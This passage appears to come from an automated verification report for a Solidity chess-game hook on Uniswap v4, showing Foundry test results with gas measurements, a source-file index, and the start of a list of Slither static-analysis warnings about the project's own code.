test_aCapturedRookTakesItsCastlingRight() (gas: 965991)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.13ms (2.56ms CPU time)\n\nRan 5 tests for test/Teams.t.sol:TeamsTest\n[PASS] test_aDynamicFeePoolPlaysWithAZeroLpFee() (gas: 1803004)\n[PASS] test_nativeEthIsATeamLikeAnyToken() (gas: 1196412)\n[PASS] test_poolsOnOneHookKeepSeparateGamesAndChests() (gas: 2276169)\n[PASS] test_sliceSide() (gas: 693625)\n[PASS] test_twoPlainTokensCannotDuel() (gas: 2158360)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 9.38ms (7.44ms CPU time)\n\nRan 2 tests for test/Adaptation.t.sol:TeamOfTest\n[PASS] testFuzz_teamOfMatches(bool,uint32,bool) (runs: 256, μ: 9460, ~: 9458)\n[PASS] test_teamOfMatchesTheOriginalFormula() (gas: 115572)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 9.65ms (4.38ms CPU time)\n\nRan 3 tests for test/LaunchFiles.t.sol:LaunchFilesTest\n[PASS] test_engineLaunchFileDeploysTheEngineWithoutArguments() (gas: 7570)\n[PASS] test_ethereumLaunchFile() (gas: 170504)\n[PASS] test_sepoliaLaunchFile() (gas: 166620)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 2.38ms (1.16ms CPU time)\n\nRan 7 tests for test/Draws.t.sol:DrawsTest\n[PASS] test_checkmate() (gas: 233578)\n[PASS] test_moveCap() (gas: 233721)\n[PASS] test_ordinaryMoveDoesNotEndTheGame() (gas: 175106)\n[PASS] test_quietMoveLimit() (gas: 239838)\n[PASS] test_stalemate() (gas: 231799)\n[PASS] test_thirdRepetition() (gas: 927248)\n[PASS] test_tooFewPiecesToMate() (gas: 226289)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 13.32ms (5.90ms CPU time)\n\nRan 5 tests for test/Adaptation.t.sol:FundChestPullTest\n[PASS] testFuzz_chestRecordsWhatWasFunded(uint256,uint256) (runs: 256, μ: 280627, ~: 280705)\nLogs:\n  Bound result 16786\n  Bound result 1374389534720\n\n[PASS] test_aCallerWithoutAllowanceCannotFund() (gas: 113834)\n[PASS] test_aTokenAnsweringFalseIsRefused() (gas: 50261)\n[PASS] test_onlyWhatThisCallerSentIsCredited() (gas: 200296)\n[PASS] test_tokensComeFromTheCallerAndPassThroughToTheManager() (gas: 372260)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 46.38ms (44.25ms CPU time)\n\nRan 3 tests for test/Adaptation.t.sol:EngineStalemateTest\n[PASS] testFuzz_strongTradesDoNotStalemate(uint256,uint256) (runs: 256, μ: 168984, ~: 169011)\nLogs:\n  Bound result 8724\n\n[PASS] test_fullAccuracyDoesNotStalemateWithFourEnemyPieces() (gas: 1313460)\n[PASS] test_threeEnemyPiecesStillAvoided() (gas: 1279513)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 61.77ms (70.81ms CPU time)\n\nRan 3 tests for test/Launch.t.sol:LaunchTest\n[PASS] test_launchPairedWithEth() (gas: 39936239)\n[PASS] test_launchTokenAboveImd() (gas: 41228819)\nLogs:\n  first buy (opens game 0, bids for White): 362302\n\n[PASS] test_launchTokenBelowImd() (gas: 42092191)\nLogs:\n  first buy (opens game 0, bids for White): 357428\n\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 45.26ms (113.02ms CPU time)\n\nRan 1 test for test/BitboardGas.t.sol:BitboardGasTest\n[PASS] test_costs() (gas: 51567349)\nLogs:\n  legal moves (bitboards): 42371\n  legal moves + check + mate tests (bitboards): 86426\n  attack count maps, both sides: 61926\n  mate in one search: 37102\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 86.24ms (85.49ms CPU time)\n\nRan 3 tests for test/GasEstimate.t.sol:GasEstimateTest\n[PASS] test_atTheEstimateADueBatchConverts() (gas: 24177454)\nLogs:\n  smallest gas limit that converts: 381737\n\n[PASS] test_atTheEstimateTheBountyIsPaidNotOwed() (gas: 25216183)\nLogs:\n  smallest gas limit that plays and pays: 397167\n\n[PASS] test_noGasLimitPlaysTheMoveAndLeavesItsBountyOwed() (gas: 32083724)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 152.69ms (158.33ms CPU time)\n\nRan 1 test for test/Predict.t.sol:PredictTest\n[PASS] test_aBotCannotPickItsOwnCapturingMoves() (gas: 311907006)\nLogs:\n  bot moves: 0\n  other moves: 73\n  captures among other moves: 19\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 569.77ms (565.83ms CPU time)\n\nRan 21 tests for test/Money.t.sol:MoneyTest\n[PASS] testFuzz_heldEqualsOwed(uint256) (runs: 48, μ: 10578789, ~: 10651915)\n[PASS] test_aFullChestTakesNoMore() (gas: 1114622)\n[PASS] test_aTradeStoppedByItsPriceLimitIsRefused() (gas: 576171)\n[PASS] test_blackCaptureIsPaidInItsTeamToken() (gas: 774640)\n[PASS] test_bountyTable() (gas: 44254)\n[PASS] test_checkmatePaysAQuarterOfTheChest() (gas: 753281)\n[PASS] test_chestShareGoesToTheChestWorthLess() (gas: 629772)\n[PASS] test_chestsStayAboutEqualInValue() (gas: 5404534)\n[PASS] test_exactOutputPaysTheFeeOnTheInput() (gas: 380418)\n[PASS] test_exactOutputWithTheChestShareInTheOutput() (gas: 797157)\n[PASS] test_failedPayoutStaysOwedAndTheTradeGoesThrough() (gas: 1229792)\n[PASS] test_feesCannotBeWithdrawnByAnyone() (gas: 445126)\n[PASS] test_firstTradeFundsChest0AndTheSlice() (gas: 359275)\n[PASS] test_fundChestNeedsTheRightValue() (gas: 48574)\n[PASS] test_fundChestOnlyForHookPools() (gas: 41773)\n[PASS] test_fundChestWithEth() (gas: 251271)\n[PASS] test_fundChestWithTokens() (gas: 199221)\n[PASS] test_openingSurchargeOnlyInTheMainDuel() (gas: 3436069)\n[PASS] test_payoutIsCappedAtTwiceTheTrade() (gas: 821323)\n[PASS] test_quietMovePaysNothing() (gas: 619359)\n[PASS] test_whiteCaptureIsPaidInItsTeamTokenFromItsOwnChest() (gas: 847766)\nSuite result: ok. 21 passed; 0 failed; 0 skipped; finished in 788.55ms (809.15ms CPU time)\n\nRan 3 tests for test/Strength.t.sol:StrengthTest\n[PASS] testFuzz_boundedAndMonotonic(uint128,uint128,uint128,uint128) (runs: 2000, μ: 8354, ~: 8631)\n[PASS] testFuzz_tenfoldIsAboutThirtyPoints(uint64,uint8) (runs: 2000, μ: 5966, ~: 5803)\n[PASS] test_decidedPoints() (gas: 12786)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 800.55ms (926.50ms CPU time)\n\nRan 7 tests for test/Hostile.t.sol:HostileTest\n[PASS] test_aDeadEngineLeavesTheTurnQueuedAndTradingGoesOn() (gas: 4835201)\n[PASS] test_aGasBurningEngineCostsOneExpensiveTradeNotTheGame() (gas: 12349637)\n[PASS] test_blockedRecipientStaysOwedAndTradingContinues() (gas: 4885021)\n[PASS] test_brokenEngineFallsBackToALegalMove() (gas: 7786122)\n[PASS] test_feeOnTransferTokenFundsOnlyWhatArrives() (gas: 3418614)\n[PASS] test_reenteringTokenCannotBreakAPayout() (gas: 5481468)\n[PASS] test_starvingTheEngineNeverPlaysTheFallback() (gas: 44957806)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 800.54ms (80.88ms CPU time)\n\nRan 1 test for test/V5Profile.t.sol:V5ProfileTest\n[PASS] test_stages() (gas: 416103774)\nLogs:\n  positions: 216\n  context: 31797\n  context + legal moves: 72004\n  context + legal + cheap pass: 210244\n  context + legal + one exact re-score: 101221\n  full choice at 50%: 229568\n  per position: loop only: 84806\n  per position: gain: 21278\n  per position: check test: 18802\n  per position: zone pressure: 15007\n  per position: threat: 10339\n  per position: noise: 6841\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 926.50ms (926.08ms CPU time)\n\nRan 1 test for test/Invariant.t.sol:InvariantTest\n[PASS]\nInvariantTest invariants:\n[PASS] invariant_boardHasBothKingsAndPlyIsBounded\n[PASS] invariant_heldEqualsOwed\n InvariantTest invariants (runs: 24, calls: 2400, reverts: 0)\n\n╭----------+----------------+-------+---------+----------╮\n| Contract | Selector       | Calls | Reverts | Discards |\n+========================================================+\n| Handler  | convert        | 306   | 0       | 0        |\n|----------+----------------+-------+---------+----------|\n| Handler  | fund           | 317   | 0       | 0        |\n|----------+----------------+-------+---------+----------|\n| Handler  | longPause      | 287   | 0       | 0        |\n|----------+----------------+-------+---------+----------|\n| Handler  | nextBlock      | 303   | 0       | 0        |\n|----------+----------------+-------+---------+----------|\n| Handler  | trade          | 280   | 0       | 0        |\n|----------+----------------+-------+---------+----------|\n| Handler  | tradeAgain     | 285   | 0       | 0        |\n|----------+----------------+-------+---------+----------|\n| Handler  | tradeNextBlock | 312   | 0       | 0        |\n|----------+----------------+-------+---------+----------|\n| Handler  | withdrawReward | 310   | 0       | 0        |\n╰----------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 18875291925397289393\n  Bound result 41083361595388734853\n  Bound result 3257\n  Bound result 19999999000000002387\n  Bound result 21\n  Bound result 19999999000000000121\n  Bound result 2031179153369238117\n  Bound result 500\n  Bound result 1000000000002\n  Bound result 64\n  Bound result 24\n  Bound result 19999999000000002681\n  Bound result 19999999999999999999\n  Bound result 262\n  Bound result 3\n  Bound result 19999999000000011194\n  Bound result 1000000000003\n  Bound result 7919\n  Bound result 19999999000000000705\n  Bound result 45\n  Bound result 12917736984214498361\n  Bound result 19999999000000019898\n  Bound result 19999999000000000064\n  Bound result 19999999000000003762\n  Bound result 19999999000002000001\n  Bound result 19999999000000007801\n  Bound result 14978\n  Bound result 19999999000000003580\n  Bound result 30\n  Bound result 19999999000000010056\n  Bound result 18936515055586986093\n  Bound result 4148328412413322223\n  Bound result 4495717442561279573\n  Bound result 19999999000000000013\n  Bound result 15770390217525134287\n  Bound result 19999999000000003178\n  Bound result 19999999000000000064\n  Bound result 26323861987005628415\n  Bound result 13654\n  Bound result 34908492256566256909\n  Bound result 8382523227633657826\n  Bound result 2400\n  Bound result 19999999000000018341\n  Bound result 19999999002978945349\n  Bound result 19999999000000019334\n  Bound result 2983\n  Bound result 1000000000003\n  Bound result 18\n  Bound result 19999999000000017481\n  Bound result 19999999000000006922\n  Bound result 332\n  Bound result 9\n  Bound result 75273247656374273\n  Bound result 15\n  Bound result 13214\n  Bound result 19999999000000000138\n  Bound result 19999999000000002501\n  Bound result 19999999000000003762\n  Bound result 14573925003770228721\n  swaps: 34\n  moves: 16\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.15s (1.15s CPU time)\n\nRan 11 tests for test/Bidding.t.sol:BiddingTest\n[PASS] test_aBountyIsPaidFromTheMoversChest() (gas: 1353500)\n[PASS] test_aBuyOfTheOtherTeamBidsForItsNextMove() (gas: 1918349)\n[PASS] test_aBuyOfTheOtherTeamTimesTheSilentSideOutAndBids() (gas: 1205593)\n[PASS] test_aClosedWindowTakesNoBidsForItsMove() (gas: 1051654)\n[PASS] test_aMoveIsOpenForTurnBlocksBlocks() (gas: 1028626)\n[PASS] test_aNewTopMustPayMoreThanTenPercentMore() (gas: 960671)\n[PASS] test_aWindowWithoutBidsBecomesTheFirstBidsBlock() (gas: 1269472)\n[PASS] test_bidsCountAcrossTheWholeWindow() (gas: 1494733)\n[PASS] test_theMoveDependsOnlyOnTheWindowsLastBlock() (gas: 1603943)\n[PASS] test_theMoversOwnBuyAfterItsWindowBidsForItsNextMove() (gas: 1064871)\n[PASS] test_thePreviewIsTheMoveThatIsPlayed() (gas: 1210749)\nSuite result: ok. 11 passed; 0 failed; 0 skipped; finished in 2.28s (18.62ms CPU time)\n\nRan 5 tests for test/HookGas.t.sol:HookGasTest\n[PASS] test_conversionGas() (gas: 1747170)\nLogs:\n  plain trade: 206306\n  trade that converts a batch: 282378\n\n[PASS] test_hookShareOfAMovingTrade() (gas: 29018484)\nLogs:\n  hook share of a moving trade: average: 270824\n  hook share of a moving trade: max: 311510\n\n[PASS] test_middlegameGas() (gas: 8248364)\nLogs:\n  first bid in a new pool: 266752\n  bidding trade: 188322\n  outbidding trade: 204179\n  plain trade: 179167\n  next block: play the turn and bid: 537873\n\n[PASS] test_openingGas() (gas: 3346783)\nLogs:\n  first bid in a new pool: 266752\n  bidding trade: 189069\n  outbidding trade: 204179\n  plain trade: 179167\n  next block: play the turn and bid: 432592\n\n[PASS] test_runningGameGas() (gas: 53542245)\nLogs:\n  running game, moving trades measured: 50\n  running game, moving trade average: 450242\n  running game, moving trade max: 603580\n\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 2.74s (164.82ms CPU time)\n\nRan 13 tests for test/Slice.t.sol:SliceTest\n[PASS] test_aBatchCannotBeSoldAtAPushedPrice() (gas: 25475800)\nLogs:\n  attacker profit (IMD, 1e18): -36380453282245771\n\n[PASS] test_aBatchStopsAtItsPriceLimit() (gas: 23507298)\n[PASS] test_aFailedConversionNeverBreaksATrade() (gas: 23357716)\n[PASS] test_anEthBatchIsCapped() (gas: 23839807)\n[PASS] test_anEthBatchWithAnEmptyRouteWaits() (gas: 23534446)\n[PASS] test_anyoneCanConvert() (gas: 531495)\n[PASS] test_booksBalanceAcrossPools() (gas: 8719498)\n[PASS] test_ethBatchKeepsTheImdTheMainDuelCouldNotTake() (gas: 23546860)\n[PASS] test_ethDuelsGoThroughTheImdEthPool() (gas: 1278494)\n[PASS] test_imduelDuelsNeedNoSwap() (gas: 754998)\n[PASS] test_mainDuelSliceBuysImduelHalfToTheChestHalfBurned() (gas: 493016)\n[PASS] test_noRouteNoDuel() (gas: 1869099)\n[PASS] test_otherDuelsFeedTheMainChest() (gas: 1238160)\nSuite result: ok. 13 passed; 0 failed; 0 skipped; finished in 2.74s (35.70ms CPU time)\n\nRan 6 tests for test/EngineV5Conversion.t.sol:EngineV5ConversionTest\n[PASS] test_bareKingConversion() (gas: 11516873)\nLogs:\n  cases: 4\n  average half-moves to mate: 13\n  converting side: gas avg: 253244\n  converting side: gas max: 338037\n\n[PASS] test_conversionRegressionAndBlackSymmetry() (gas: 95940786)\nLogs:\n  cases: 32\n  average half-moves to mate: 14\n  converting side: gas avg: 238206\n  converting side: gas max: 440989\n\n[PASS] test_conversionSweep() (gas: 1063666730)\nLogs:\n  converted within 40 half-moves: 320 of 320\n  cases: 320\n  average half-moves to mate: 15\n  converting side: gas avg: 241196\n  converting side: gas max: 440997\n\n[PASS] test_generatedConversionValidation() (gas: 858868961)\nLogs:\n  generated corpus: mates within 40 of 256: 256\n  generated corpus: mates within 60 of 256: 256\n  cases: 256\n  average half-moves to mate: 15\n  converting side: gas avg: 243012\n  converting side: gas max: 487067\n\n[PASS] test_queenDoesNotTrapItsKingOnBackRank() (gas: 4163332)\n[PASS] test_rookKingApproachesDiagonallyInsteadOfRetreating() (gas: 2007593)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 2.74s (5.28s CPU time)\n\nRan 1 test for test/InvariantDuels.t.sol:InvariantDuelsTest\n[PASS]\nInvariantDuelsTest invariants:\n[PASS] invariant_everyBoardIsSound\n[PASS] invariant_everyCurrencyBalances\n[PASS] invariant_rightsMatchTheBoard\n[PASS] invariant_turnsAreWellFormed\n InvariantDuelsTest invariants (runs: 24, calls: 2880, reverts: 0)\n\n╭--------------+----------------+-------+---------+----------╮\n| Contract     | Selector       | Calls | Reverts | Discards |\n+============================================================+\n| DuelsHandler | convert        | 330   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| DuelsHandler | fund           | 303   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| DuelsHandler | longPause      | 325   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| DuelsHandler | nextBlock      | 342   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| DuelsHandler | roundTrip      | 312   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| DuelsHandler | trade          | 344   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| DuelsHandler | tradeAgain     | 284   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| DuelsHandler | tradeNextBlock | 331   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| DuelsHandler | withdrawReward | 309   | 0       | 0        |\n╰--------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 4999999999000002401\n  Bound result 19999999999000002957\n  Bound result 4999999999000000007\n  Bound result 12\n  Bound result 19999999999000480001\n  Bound result 50000000000000000000\n  Bound result 16947\n  Bound result 386549022720\n  Bound result 96\n  Bound result 2\n  Bound result 14486727805925252290\n  Bound result 12\n  Bound result 207211691213799537\n  Bound result 19999999999000000036\n  Bound result 5300000000999999999\n  Bound result 19999999999000000161\n  Bound result 19999999999000009001\n  Bound result 12\n  Bound result 19056455292676007027\n  Bound result 4999999999000003308\n  Bound result 1729\n  Bound result 19999999999000000531\n  Bound result 358612835\n  Bound result 19999999999000000081\n  Bound result 4999999999000400001\n  Bound result 500000000000000000\n  Bound result 19999999999000004276\n  Bound result 104\n  Bound result 12\n  Bound result 226027435835281\n  Bound result 12\n  Bound result 19999999999000000065\n  Bound result 12\n  Bound result 19999999999000014921\n  Bound result 1\n  Bound result 86\n  Bound result 11503557250457312291\n  Bound result 6571\n  Bound result 59\n  Bound result 1869\n  Bound result 19999999999000000193\n  Bound result 19999999999000010432\n  Bound result 19999999999000005001\n  Bound result 12\n  Bound result 15822854550772732673\n  Bound result 1164049102366249397\n  Bound result 12\n  Bound result 4855553097678664388\n  Bound result 9000000000000000000\n  Bound result 19999999999000004160\n  Bound result 12\n  Bound result 14565774915584188795\n  Bound result 4999999999000003178\n  Bound result 12\n  Bound result 1000000003\n  Bound result 15\n  Bound result 12\n  Bound result 6023607821685288689\n  Bound result 19999999999000001099\n  Bound result 79\n  Bound result 104\n  Bound result 4999999999000010028\n  Bound result 184200\n  Bound result 4999999999000008223\n  Bound result 30385201705939754285\n  Bound result 9909566179315531431\n  Bound result 12\n  Bound result 12356040457658074589\n  Bound result 59\n  Bound result 51\n  Bound result 19469432668342514336\n  Bound result 110\n  Bound result 19999999999000000537\n  Bound result 12\n  Bound result 4632179493572466719\n  Bound result 19999999999000000741\n  Bound result 4999999999000000015\n  Bound result 12\n  Bound result 19999999999000005247\n  Bound result 40\n  Bound result 9834159396096915377\n  Bound result 19999999999000002448\n  Bound result 256\n  Bound result 4999999999000014430\n  Bound result 19999999999000005001\n  Bound result 100\n  Bound result 19999999999000000244\n  swaps: 40\n  moves: 19\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.53s (3.52s CPU time)\n\nRan 1 test for test/EngineV5.t.sol:EngineV5Test\n[PASS] test_legalChoicesMatesAndGas() (gas: 5591477734)\nLogs:\n  positions: 3968\n  mates in one taken at full accuracy: 8\n  average gas per choice: 226429\n  max gas per choice: 594976\n  runtime bytes: 22111\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.81s (5.81s CPU time)\n\nRan 23 tests for test/Game.t.sol:GameTest\n[PASS] testFuzz_swapsNeverRevert(uint256) (runs: 48, μ: 9440423, ~: 9445834)\n[PASS] test_aGamePlaysOutThroughSwaps() (gas: 30487273)\nLogs:\n  moves played: 44\n  bids (incl. outbid ones): 60\n  most gas for a swap: 557041\n\n[PASS] test_aSmallerTradeInTheBlockDoesNotTakeTheTurn() (gas: 677018)\n[PASS] test_aTimeoutTurnCanBeTakenInItsBlock() (gas: 1287640)\n[PASS] test_aTradeBidsForTheTurn() (gas: 477426)\n[PASS] test_aTurnClosesWithItsBlock() (gas: 942872)\n[PASS] test_anExpiredTurnBecomesATimeoutTurn() (gas: 1407405)\n[PASS] test_anOldTurnIsPlayedWithTheHistoryContractsHash() (gas: 1720236)\n[PASS] test_anyTradeSizeBids() (gas: 444548)\n[PASS] test_lateTradeStillBidsNormally() (gas: 424246)\n[PASS] test_onlyThePoolManagerAndTheHookCanCallIn() (gas: 168361)\n[PASS] test_ownerDefaultsToTxOrigin() (gas: 410676)\n[PASS] test_playedPositionsEnterTheRepetitionMemory() (gas: 893671)\n[PASS] test_rejectsBadConfig() (gas: 9170)\n[PASS] test_silentSidePlaysAtZeroStrength() (gas: 1032390)\n[PASS] test_strengthFollowsTheShareOfThePool() (gas: 6474817)\n[PASS] test_teamsSwapColoursEveryGame() (gas: 912235)\n[PASS] test_theBiggestTradeInTheBlockOwnsTheTurn() (gas: 771074)\n[PASS] test_theFirstPoolOpenedIsTheMainDuel() (gas: 178158)\n[PASS] test_theMainDuelMustPairImd() (gas: 1186779)\n[PASS] test_theNextBlocksTradePlaysTheTurn() (gas: 1015137)\n[PASS] test_theOtherTeamCannotBidOnThisTurn() (gas: 407181)\n[PASS] test_whoPlaysTheTurnAndWhenDoesNotChangeTheMove() (gas: 1495127)\nSuite result: ok. 23 passed; 0 failed; 0 skipped; finished in 5.83s (888.62ms CPU time)\n\nRan 1 test for test/Endings.t.sol:EndingsTest\n[PASS] test_statusAgainstChessJs() (gas: 3827346985)\nLogs:\n  games: 200\n  positions: 29637\n  checkmates: 158\n  stalemates: 17\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.53s (7.53s CPU time)\n\nRan 1 test for test/EngineV5Games.t.sol:EngineV5GamesTest\n[PASS] test_selfPlay() (gas: 6570261344)\nLogs:\n  game 0 result 2: \n  game 1 result 2: \n  game 2 result 1: \n  gave rook/queen: 86870238674660599699401622711778689468087322501069979287361930582906697548292 460031 943668479 w 861 net -600 best 0\n  gave rook/queen: 5427754183058795682802489067878151629405184157693509641043824116254826824704 2156336383 3099538431 w 1307 net -500 best -100\n  gave rook/queen: 5427754183058794778899839172196121686052169999515999157796218921811330519040 2156338175 3099538431 w 779 net -500 best 0\n  gave rook/queen: 5880067409023361893519492475378704098026425233886153209393628296587572674560 2156332799 3099539711 w 3376 net -500 best 0\n  gave rook/queen: 6332454073938958339691435558333129996404503485053911374062329293274290847744 2156335103 3099541247 w 2933 net -500 best 0\n  gave rook/queen: 395847936290169010519308284464677771096028646544612309052648037262299234304 2156335103 3099540991 w 1758 net -500 best 0\n  gave rook/queen: 8903592951012892839869185679495287067114716255949491190660030546078336320 2156332799 3099539199 w 166 net -900 best 500\n  gave rook/queen: 5735268393226817914588476328015805100616831101603081661062223767787525898816 2156332799 3099540735 b 3956 net -500 best 0\n  gave rook/queen: 397098877808941878081562480997554670823473734272162587586440933204236959744 2156332799 3099540991 b 3966 net -500 best 0\n  gave rook/queen: 1406291468295779791110155289058693249606348797223262438293504 2156336127 3099537919 b 2268 net -500 best 0\n  gave rook/queen: 1615332164509958130566762150542858943568099321520896366659842039781277696 2156332799 3099540479 b 1814 net -500 best 0\n  gave rook/queen: 6673050404315007858229191350730340348849575803261007268550295068225560379392 2156332543 3099541247 b 3779 net -900 best 0\n  gave rook/queen: 86844066927987146573170702799187181486217849679123279484413781297339253653600 2156331519 3099537407 b 1096 net -500 best 0\n  games: 40\n  White mates: 15\n  Black mates: 24\n  stalemate: 0\n  too little material: 0\n  repetition: 0\n  quiet half-move limit: 0\n  half-move cap: 1\n  average half-moves per game: 95\n  checks per game (x10): 120\n  captures per game (x10): 181\n  undo moves per game (x10): 28\n  longest quiet stretch, average per game: 9\n  games with a quiet stretch of 30+: 1\n  games fingerprint: 0xd8cf2f8bfa2b6511983866ec5be1fddbed4111048ce36347cb13af8a5de4b14a\n  comebacks (behind 3+ pawns at half-move 40, then won): 3 of 15\n  effort < 40%: 683 moves, gas avg 191290 max 394759; mates in one taken 6/7; walked into an avoidable mate 5; gave a piece 9, a rook or queen 2\n  effort 40-70%: 1964 moves, gas avg 207539 max 483412; mates in one taken 21/23; walked into an avoidable mate 12; gave a piece 24, a rook or queen 7\n  effort 70%+: 1184 moves, gas avg 225871 max 555780; mates in one taken 12/15; walked into an avoidable mate 6; gave a piece 8, a rook or queen 6\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 16.95s (16.95s CPU time)\n\nRan 2 tests for test/Bitboard.t.sol:BitboardTest\n[PASS] test_againstChessJs() (gas: 92724440148)\nLogs:\n  positions: 2689\n  moves applied and compared: 72742\n  positions with a mate in one: 38\n\n[PASS] test_lsb() (gas: 414889)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 34.17s (34.10s CPU time)\n\nRan 1 test for test/RulesRandom.t.sol:RulesRandomTest\n[PASS] test_randomGamesAgainstChessJs() (gas: 47928398193)\nLogs:\n  positions compared: 29828\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 92.44s (92.07s CPU time)\n\nRan 28 test suites in 92.44s (182.22s CPU time): 133 tests passed, 0 failed, 0 skipped (133 total tests)\n","passed":true},{"durationMs":107,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMDuelHook.afterInitialize(address,(address,address,uint24,int24,address),uint160,int24)\",\"IMDuelHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"IMDuelHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"IMDuelHook.convert(address)\",\"IMDuelHook.convertBatch(address)\",\"IMDuelHook.fundChest((address,address,uint24,int24,address),bool,uint256)\",\"IMDuelHook.payOut(address,address,uint256)\",\"IMDuelHook.unlockCallback(bytes)\",\"IMDuelHook.withdraw(address,address)\"],\"files\":{\".gitignore\":3,\"ADAPTATION.md\":83,\"LICENSE\":16,\"foundry.toml\":31,\"launch.json\":10,\"launch/engine.json\":10,\"launch/hook.json\":37,\"launch/hook.sepolia.json\":37,\"script/LaunchPolicy.sol\":44,\"src/Bitboard.sol\":719,\"src/Chess.sol\":34,\"src/ChessEngineV5.sol\":762,\"src/IChessEngine.sol\":29,\"src/IMDuelHook.sol\":871,\"src/Rules.sol\":45,\"src/Strength.sol\":39,\"test/Adaptation.t.sol\":176,\"test/Base.sol\":177,\"test/Bidding.t.sol\":197,\"test/Bitboard.t.sol\":158,\"test/BitboardGas.t.sol\":73,\"test/Chessboard.sol\":73,\"test/Draws.t.sol\":90,\"test/Endings.t.sol\":68,\"test/EngineV5.t.sol\":62,\"test/EngineV5Conversion.t.sol\":172,\"test/EngineV5Games.t.sol\":242,\"test/Game.t.sol\":343,\"test/GasEstimate.t.sol\":115,\"test/Harness.sol\":101,\"test/HookGas.t.sol\":150,\"test/Hostile.t.sol\":255,\"test/Invariant.t.sol\":145,\"test/InvariantDuels.t.sol\":414,\"test/Launch.t.sol\":141,\"test/LaunchFiles.t.sol\":67,\"test/Money.t.sol\":337,\"test/Predict.t.sol\":102,\"test/RulesRandom.t.sol\":88,\"test/Size.t.sol\":28,\"test/Slice.t.sol\":345,\"test/Strength.t.sol\":41,\"test/Teams.t.sol\":87,\"test/Tokens.sol\":58,\"test/V5Profile.t.sol\":115,\"test/data/chess.json\":1,\"test/data/conversion-validation.json\":770,\"test/data/conversion.json\":98,\"test/data/endings.json\":1,\"test/data/legal.json\":1,\"test/data/random.json\":1},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":26481,"exitCode":0,"name":"slither","output":"[medium/high] incorrect-equality at src/IMDuelHook.sol:489: IMDuelHook._swapClaims(PoolKey,Currency,uint256,bool) (src/IMDuelHook.sol#489-506) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMDuelHook.sol:510: IMDuelHook._blockStart(uint160) (src/IMDuelHook.sol#510-515) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMDuelHook.sol:459: IMDuelHook._convert(Currency) (src/IMDuelHook.sol#459-482) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMDuelHook.sol:321: IMDuelHook._takeFee(PoolId,PoolKey,uint256,uint256,uint256,IMDuelHook.Game) (src/IMDuelHook.sol#321-333) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMDuelHook.sol:489: IMDuelHook._swapClaims(PoolKey,Currency,uint256,bool) (src/IMDuelHook.sol#489-506) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/IMDuelHook.sol:291: Reentrancy in IMDuelHook.afterSwap(address,PoolKey,SwapParams,BalanceDelta,bytes) (src/IMDuelHook.sol#291-316):\n[medium/medium] reentrancy-no-eth at src/IMDuelHook.sol:459: Reentrancy in IMDuelHook._convert(Currency) (src/IMDuelHook.sol#459-482):\n[medium/medium] reentrancy-no-eth at src/IMDuelHook.sol:534: Reentrancy in IMDuelHook._play(PoolId,PoolKey,IMDuelHook.Game,bool,BalanceDelta,bytes,uint160,uint256) (src/IMDuelHook.sol#534-573):\n[medium/medium] reentrancy-no-eth at src/IMDuelHook.sol:459: Reentrancy in IMDuelHook._convert(Currency) (src/IMDuelHook.sol#459-482):\n[medium/medium] uninitialized-local at src/Bitboard.sol:643: Bitboard._targets(Bitboard.Pos,Bitboard.Gen,uint8,bool).ep (src/Bitboard.sol#643) is a local variable never initialized\n[medium/medium] uninitialized-local at src/Bitboard.sol:480: Bitboard._anyLegal(Bitboard.Pos,bool).scratch (src/Bitboard.sol#480) is a local variable never initialized\n[medium/medium] uninitialized-local at src/Bitboard.sol:425: Bitboard.isLegal(Bitboard.Pos,uint16,bool).scratch (src/Bitboard.sol#425) is a local variable never initialized\n[medium/medium] uninitialized-local at src/IMDuelHook.sol:367: IMDuelHook._pay(PoolId,IMDuelHook.Game,Currency,address,uint256).paid (src/IMDuelHook.sol#367) is a local variable never initialized\n[medium/medium] uninitialized-local at src/Bitboard.sol:400: Bitboard._legalTargets(Bitboard.Pos,Bitboard.Gen,Bitboard.Pos,uint8,bool).ep (src/Bitboard.sol#400) is a local variable never initialized\n[medium/medium] uninitialized-local at src/Bitboard.sol:236: 